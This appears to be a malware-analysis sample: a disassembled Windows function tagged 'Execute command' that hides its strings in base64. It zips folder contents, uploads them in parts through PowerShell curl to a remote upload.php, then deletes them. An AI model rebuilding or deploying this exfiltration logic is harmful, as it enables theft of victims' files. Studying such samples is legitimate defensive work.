Function at 0x4018e0
Capabilities:
Execute command

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x84c
lea eax, [esp + 0x40]
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
lea ebx, [esp + 0x200]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x42404f
call sym._sprintf
mov dword [esp], ebx
lea ebx, [esp + 0xa2]
mov dword [esp + 4], 0x424061
call sym._check_exist
mov dword [esp], 0x4241a7
call sym._ping
test eax, eax
jne 0x401968
mov dword [esp + 8], 0x4241a7
mov dword [esp + 4], 0x4241b5
mov dword [esp], ebx
call sym._sprintf
mov dword [esp + 4], 0x4241b8
mov dword [esp], ebx
call sym._get_http_headers
mov dword [esp + 0x38], eax
test eax, eax
je 0x401cbe
mov dword [esp + 4], eax
lea eax, [esp + 0x5a]
mov edx, 0x79
mov dword [esp], eax
mov dword [esp + 0x5a], 0x6f6d6962
mov dword [esp + 0x5e], 0x6c68746e
mov word [esp + 0x62], dx
call sym._get_current_ip
mov dword [esp], str.SERVER_TLD:__s_n
mov dword [esp + 4], eax
mov esi, eax
call sym._printf
test esi, esi
je 0x401ccc
lea eax, [esp + 0x44]
mov dword [esp], str.Y2EyMnVwZGF0ZS5tZA
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
mov edi, eax
lea eax, [esp + 0x48]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], eax
mov ebx, eax
mov dword [esp + 0xc], 0x447460
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], 0x447060
call sym._check_curl
test eax, eax
jne 0x401ca0
mov dword [esp], str.__Curl_installed
call sym._puts
mov eax, dword [esp + 0x38]
mov dword [esp], 0x4241f0
mov dword [esp + 4], eax
call sym._run_keygen
mov edi, eax
test eax, eax
je 0x401d81
mov dword [esp], eax
call sym._strlen
mov dword [esp], edi
mov dword [esp + 4], eax
call sym._base64_encode
test eax, eax
je 0x401df7
lea ecx, [eax + 1]
lea edx, [esp + 0x64]
sub edx, ecx
cmp edx, 2
jbe 0x401d92
test al, 3
jne 0x401d92
mov edx, dword [eax]
mov dword [esp + 0x64], edx
movzx edx, byte [eax + 4]
mov byte [esp + 0x68], dl
movzx edx, byte [eax + 5]
movzx eax, byte [eax + 6]
mov dword [esp], edi
mov byte [esp + 0x69], dl
mov byte [esp + 0x6a], al
mov byte [esp + 0x6b], 0
call sym._SHA256
test eax, eax
je 0x401e08
lea ecx, [eax + 1]
lea edx, [esp + 0x84]
sub edx, ecx
cmp edx, 2
jbe 0x401db6
test al, 3
jne 0x401db6
mov edx, dword [eax]
mov dword [esp + 0x84], edx
movzx edx, byte [eax + 4]
mov byte [esp + 0x88], dl
movzx edx, byte [eax + 5]
mov byte [esp + 0x89], dl
movzx edx, byte [eax + 6]
mov dword [esp], eax
mov byte [esp + 0x8a], dl
mov byte [esp + 0x8b], 0
call sym._free
mov dword [esp], edi
call sym._free
mov dword [esp], 0x447540
call sym._get_files_in_folder
mov dword [esp + 0x30], eax
test eax, eax
je 0x401cda
lea eax, [esp + 0x138]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x447060
mov dword [esp + 4], 0x424238
mov dword [esp], eax
call sym._sprintf
call sym._get_uid
test eax, eax
je 0x401de6
mov dword [esp + 0x3c], esi
mov ebx, 1
lea ebp, [esp + 0x458]
mov edi, eax
jmp 0x401c6d
mov dword [esp + 4], str._s_s.zip.part_d
mov dword [esp], ebp
call sym._sprintf
lea eax, [esp + 0x64c]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], edi
mov dword [esp + 4], str._s.zip.part_d
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x4c]
mov dword [esp], str.cG93ZXJzaGVsbCBjdXJsLmV4ZSAtdQ
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.aHR0cHM6Ly8
mov esi, eax
lea eax, [esp + 0x50]
mov dword [esp + 4], eax
call sym._base64_decode
mov dword [esp], str.L3VwbG9hZHMvdXBsb2FkLnBocA
mov dword [esp + 0x34], eax
lea eax, [esp + 0x54]
mov dword [esp + 4], eax
call sym._base64_decode
mov ecx, dword [esp + 0x34]
mov dword [esp + 8], esi
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x84]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x64]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x32c]
mov dword [esp + 0x14], ebp
mov dword [esp + 4], str._s__s:_s__F__file__s___s_s_s
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x32c]
mov dword [esp], eax
call sym._system
mov esi, eax
test eax, eax
jne 0x401ce8
mov dword [esp], str.__Upload_SUCCESS
add ebx, 1
call sym._puts
mov dword [esp], 0xa
call dbg.sleep
cmp dword [esp + 0x30], ebx
jb 0x401d02
cmp dword [esp + 0x30], 1
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x447540
jne 0x401b78
mov dword [esp + 4], str._s_s.zip
mov dword [esp], ebp
call sym._sprintf
jmp 0x401b88
mov dword [esp], str.NO_curl._Quit
call sym._puts
mov edi, 1
add esp, 0x84c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.No_date
call sym._puts
jmp 0x401cac
mov dword [esp], str.No_DNS._Exit
call sym._puts
jmp 0x401cac
mov dword [esp], str.File_count_failed
call sym._puts
jmp 0x401cac
mov dword [esp], str.__File_uploaded_FAIL
mov esi, dword [esp + 0x3c]
call sym._puts
mov dword [esp], esi
call sym._free
jmp 0x401cac
mov ecx, edi
mov edi, esi
mov esi, dword [esp + 0x3c]
mov dword [esp], ecx
call sym._free
mov dword [esp], esi
call sym._free
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call sym._free
mov dword [esp + 4], ebp
mov dword [esp], str.cG93ZXJzaGVsbCBSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGg
call sym._base64_decode
mov dword [esp + 0xc], 0x447540
mov dword [esp + 8], eax
lea eax, [esp + 0x64c]
mov dword [esp + 4], str._s__s__Force__Recurse
mov dword [esp], eax
call sym._sprintf
lea eax, [esp + 0x64c]
mov dword [esp], eax
call sym._system
test eax, eax
je 0x401cb1
mov dword [esp], str.__Removal_failed
call sym._puts
jmp 0x401cb1
mov dword [esp], 0x424204
call sym._puts
jmp 0x401cac
movzx edx, byte [eax]
mov byte [esp + 0x64], dl
movzx edx, byte [eax + 1]
mov byte [esp + 0x65], dl
movzx edx, byte [eax + 2]
mov byte [esp + 0x66], dl
movzx edx, byte [eax + 3]
mov byte [esp + 0x67], dl
jmp 0x401a86
movzx edx, byte [eax]
mov byte [esp + 0x84], dl
movzx edx, byte [eax + 1]
mov byte [esp + 0x85], dl
movzx edx, byte [eax + 2]
mov byte [esp + 0x86], dl
movzx edx, byte [eax + 3]
mov byte [esp + 0x87], dl
jmp 0x401ad9
mov dword [esp], str.No_machine_UID
call sym._puts
jmp 0x401cac
mov dword [esp], str.username_empty
call sym._puts
jmp 0x401cac
mov dword [esp], str.No_password
call sym._puts
jmp 0x401cac